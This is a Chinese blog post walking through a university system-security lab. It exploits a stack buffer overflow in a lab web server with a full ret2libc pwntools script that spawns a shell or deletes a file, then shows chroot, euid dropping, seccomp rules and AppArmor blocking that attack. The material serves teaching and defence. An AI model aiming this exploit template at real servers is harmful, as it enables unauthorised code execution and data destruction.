进程约束|某校系统安全实验4

本实验挺折磨,虽然有学长很详细的文章讲解,但是在做的过程中还是遇到了很多非预期的错误,遂记录下来,希望对大家有所帮助: )

参考文章:HUST 信息系统安全 Lab2 – 系统安全 | 仰望星空,脚踏实地

环境配置

下载指定libc

我的虚拟机版本是Ubuntu 20.04 64位

本实验程序是32位的,虚拟机给的libc版本大概率与指导手册上不一样,强烈建议下载与指导手册一致的libc版本:

查看是否有指定版本:

 ls -l /lib/i386-linux-gnu/libc.so.6 

下载:

sudo apt update
sudo apt install libc6:i386

下载make

apt install make

下载gcc

sudo apt install build-essential

下载gcc-multilib

sudo apt-get install gcc-multilib

下载pwntools和ROPgadget

sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
sudo -H python3 -m pip install ROPgadget

任务一 删除特权文件

copy lab4文件夹到虚拟机上:

在code目录执行以下代码:

sudo sysctl -w kernel.randomize_va_space=0
sudo make
sudo chown root touchstone
sudo chmod +s touchstone
./touchstone

其中,sudo sysctl -w kernel.randomize_va_space=0是关闭地址随机化的命令,如果有开机重启,记得重新执行。后三行代码是编译并给touchstone setuid,当然也可以不setuid直接sudo ./touchstone,但是两种方式的ebp会有区别,我之后的演示全都用setuid做。

启动touchstone后如图:

如果出现下面这种报错,大概率是没有给touchstone setuid导致没权限,或者有其他终端正在运行touchstone,如果还是不行就杀掉对应端口或者重启:

漏洞在banksv中,复制到IDA打开,gettoken函数中有栈溢出:

溢出长度exploit模板已经给出,具体怎么测出来的可以参考学长文章:

HUST 信息系统安全 Lab2 – 系统安全 | 仰望星空,脚踏实地

修改exp模板:

这两行去掉注释:

确定各个偏移:

ldd banksv
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " exit"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " unlink" 

base_addr :

ebp的偏移需要运行一次脚本(python3 exploit-template.py 127.0.0.1 80)来测,也可以浏览器访问127.0.0.1:80注册账号,在touchstone窗口就会给出ebp:

选择getshell还是删除文件。红框是getshell的代码,蓝框是删除文件的代码,看需要注释就行:

文章:HUST 信息系统安全 Lab2 – 系统安全 | 仰望星空,脚踏实地,学长给出了简化后的exp,不再需要后面填127.0.0.1:80,而且可以直接通过1或2来选择getshell和删文件:

#!/usr/bin/python  
import sys  
import socket  
import traceback  
import struct  
import time  
import os.path  
import binascii  
from pwn import *  
  
# libc base address  
# ASLR shoud be off, so that libc's base address will not change untill next reboot   
# you can use "ldd ./program" to check the libc base address  
base_addr = 0xf7da0000  
  
# all of the offsets of functions (strings) inside libc vary little (sometimes change, previews check is needed) .  
# to get the offset of a funtion, you can use:  
##  readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"  
# to get "/bin/sh":  
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"  
  
# system  
sys_addr = base_addr + 0x00041780
# /bin/sh  
sh_addr = base_addr + 0x0018e363 
# exit  
ex_addr = base_addr + 0x000340c0 
# unlink  
ul_addr = base_addr + 0x000f4100
# dead  
d_addr = 0xdeadbeef  
  
  
# ebp  too make the task simple, we print ebp of getToken function (vulnerable)   
ebp_addr =  0xffffccd8  
  
  
  
## Below is the function that you should modify to construct an  
## HTTP request that will cause a buffer overflow in some part  
## of the vulnerable web server and exploit it.  
  
def build_exploit(shellcode, type):  
  
    ul_arg = "/tmp/test.txt\0"  
    ul_arg_addr = ebp_addr + 20  
  
    sys_arg = "/bin/sh\0"  
    sys_arg_addr = ebp_addr + 20  
  
    req = ("POST / HTTP/1.1\r\n").encode('latin-1')  
    # All of the header information other than "Content-Length" is not important  
    req += ("Host: 127.0.0.1\r\n").encode('latin-1')  
    # The Content-Length below is useful, and depends on the length of   
    # username plus password, you need to use wireshark (together with web browser)   
    # for checking the length  
    req += ("Content-Length: 58\r\n").encode('latin-1')   
    req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')  
    req += ("Connection: keep-alive\r\n").encode('latin-1')  
    req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')  
  
    req += ("Hacking: ").encode('latin-1')  
    # For different oses (and compilation), the length of fillup for   
    # hijacking the return address in the stack, could be different,  
    # therefore you need to debug the program for checking and adjusting.  
    req += b'A' * 1068
    # b'C' * 4  
  
    # use "/bin/sh" string in libc  
    if type == 1:  
        req += p32(sys_addr)  
        req += p32(ex_addr)  
        req += p32(sh_addr)  
        req += p32(0)  
  
    # put "/bin/sh" string in the stack  
    # ebp is needed to locate the place of string   
    # Note: using this method, you can put arbitrary string in the stack,   
    # so that "system" can execute arbitrary command  
    #req += p32(sys_addr)  
    #req += p32(ex_addr)  
    #req += p32(sys_arg_addr)  
    #req += p32(0)  
    #req += sys_arg.encode('latin-1')  
  
  
    # remove a file specified by the path "ul_arg"  
    if type == 2:  
        req += p32(ul_addr)  
        req += p32(ex_addr)  
        req += p32(ul_arg_addr)  
        req += p32(0)  
        req += ul_arg.encode('latin-1')  
      
  
    req += ("\r\n").encode('latin-1')  
    req += ("\r\n").encode('latin-1')  
     
    # Below is the username/password that you can Register into the web server  
    # by using web browser. These information will be stored into the sqlite db behind.  
    # You need to change these information according to your own registration.  
   
    # Note that successful POST will be responded by the server with a hint page.  
    # By using the successful response, you can judge whether the server has been   
    # crashed (by exploit), so that you can adjust the fillup accordingly.  
    req += ("login_username=123456&login_password=123456&submit_login=Login").encode('latin-1')  
  
    print(req)  
    return req  
  
    #If you cannot use p32 (in pwnlib), you can use the following line  
    #req += (addr1).to_bytes(4, byteorder='little')  
  
  
def send_req(host, port, req):  
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    print("Connecting to %s:%d..." % (host, port))  
    sock.connect((host, port))  
  
    print("Connected, sending request...")  
    sock.send(req)  
  
    print("Request sent, waiting for reply...")  
    rbuf = sock.recv(1024)  
    resp = ("").encode("latin-1")  
    while len(rbuf):  
      resp = resp+rbuf  
      rbuf = sock.recv(1024)  
  
    print("Received reply.")  
    sock.close()  
    return resp  
  
  
if len(sys.argv) != 2:  
    print("Usage: " + sys.argv[0] + " type")  
    print("type: 1 for shell, 2 for unlink")  
    exit()  
  
try:  
    shellcode = ""  
    req = build_exploit(shellcode, int(sys.argv[1]))  
    print("HTTP request:")  
    print(req)  
  
    resp = send_req("127.0.0.1", 80, req)  
    print("HTTP response:")  
    print(resp)  
except:  
    print("Exception:")  
    print(traceback.format_exc())  

在tmp目录下创建测试文件:

sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt

运行exp后成功删除:

getshell就不演示了,自行尝试吧: )

任务二 chroot

重新copy一个任务一的code文件夹

在server.c中的特定位置添加如下代码:

执行

make  
chmod +x chroot-setup.sh chroot-copy.sh
sudo ./chroot-setup.sh  
cd /jail  
sudo ./touchstone  

然后分别在tmp和jail/tmp下创建root权限的test.txt文件:

在tmp目录下创建测试文件:

sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt

在/jail/tmp目录下创建测试文件

sudo touch /jail/tmp/test.txt
sudo chown root /jail/tmp/test.txt

jail目录下的banksv libc base_addr会有变化,需要重新确定:

ps -aux | grep banksv
sudo gdb -q -p (此处填banksv的pid)
info proc map


修改base_addr后运行exp,此时还删不掉,因为ebp还没改:

根据touchstone给的ebp把ebp也改了后再运行exp,就能发现jail/tmp目录下的test.txt被删了,而tmp没被删,说明实验成功。

任务三 改变进程 euid

同样copy一下任务一的code文件夹

在server.c的三处添加以下代码:

setresuid(1000,1000,1000);
printf("成功改变进程 euid.\n");

然后编译并setuid:

sudo make
sudo chown root touchstone
sudo chmod +s touchstone

./touchstone

在tmp目录下创建测试文件:

sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt

改ebp后运行exp,发现删不掉:

删不掉就是实验成功了,当然,如果怀疑可能是其他原因删不掉可以开任务一的touchstone来对照实验一下。

任务四:使用 seccomp 限制系统调用

同样copy一下任务一的code文件夹

安装32位libcseccomp

sudo apt-get install libseccomp-dev:i386


默认允许,显式拒绝:

在makefile的编译banksv那一行最后加上-lseccomp:

修改banksv,把下面这个函数的注释去掉,添加禁止unlink的规则:

seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(unlink),0);

在main函数中调用该函数:

删除头文件注释:

编译:

sudo make

sudo chown root touchstone

sudo chmod +s touchstone

./touchstone

若ldd banksv能看到libcseccomp,则开启成功:


可以看到基地址也变了,所以得改一下

在tmp目录下创建测试文件:

sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt

然后运行exp,发现没删掉

查看内核日志确认:

sudo dmesg

可以看到syscall是10,即unlink的系统调用号,被触发后中止了程序。

默认拒绝,显式允许:

跟默认允许的步骤差不多,区别在于默认允许用的是setup_allow_bydefault_rules(),默认拒绝用的是setup_deny_bydefault_rules()函数。

1.makefile里面加-lseccomp

2.修改banksv:去掉头文件和setup_deny_bydefault_rules函数注释,并修改setup_deny_bydefault_rules函数:

最后两行是unlink和execve,如果想禁用就删掉,想允许就加上:


seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigaction), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(socketcall), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(set_robust_list), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getresuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getcwd), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(statx), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(_llseek), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchmod), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(geteuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchown32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fsync), 0);

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(unlink), 0);

后面的步骤跟默认允许一致,不多赘述。

任务五 AppArmor

同样copy一下任务一的code文件夹

Apparmor应该本来就自带,如果没有,可用以下命令安装:

sudo systemctl start apparmor
sudo apt install apparmor-profiles apparmor-utils

编译启动:

sudo make

sudo chown root touchstone

sudo chmod +s touchstone

./touchstone

生成banksv的配置文件:

sudo aa-genprof banksv

f跳过

配置文件路径 /etc/apparmor.d/xxx.xxx.banksv

(banksv处是自己的路径,需要改一下)

修改配置文件内容:

#include <tunables/global>

/home/monke/shiyan2/lab4/code5/banksv {

  # 引入配置文件
  include <abstractions/apache2-common>  
  include <abstractions/base>  
  
  # 禁止对/tmp目录下的任何文件进行读写操作  
  deny /tmp/** mrwx,  

  # 允许对code4目录下的所有文件进行只读访问
/home/monke/shiyan2/lab4/code5/** mr,

}

修改好后sudo apparmor_parser -r /etc/apparmor.d/xxx.xxx.banksv

(banksv处是自己的路径,需要改一下)

使其生效

然后运行exp,如果ebp有变记得改,发现删不掉测试文件。

sudo dmesg查看日志,发现禁用:

说明实验成功。

评论

  1. Ricardo
    1 年前
    2025-1-08 0:59:52

    做的最反胃的实验啊

  2. Ricardo
    1 年前
    2025-1-08 1:00:10

    其次是vpn

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇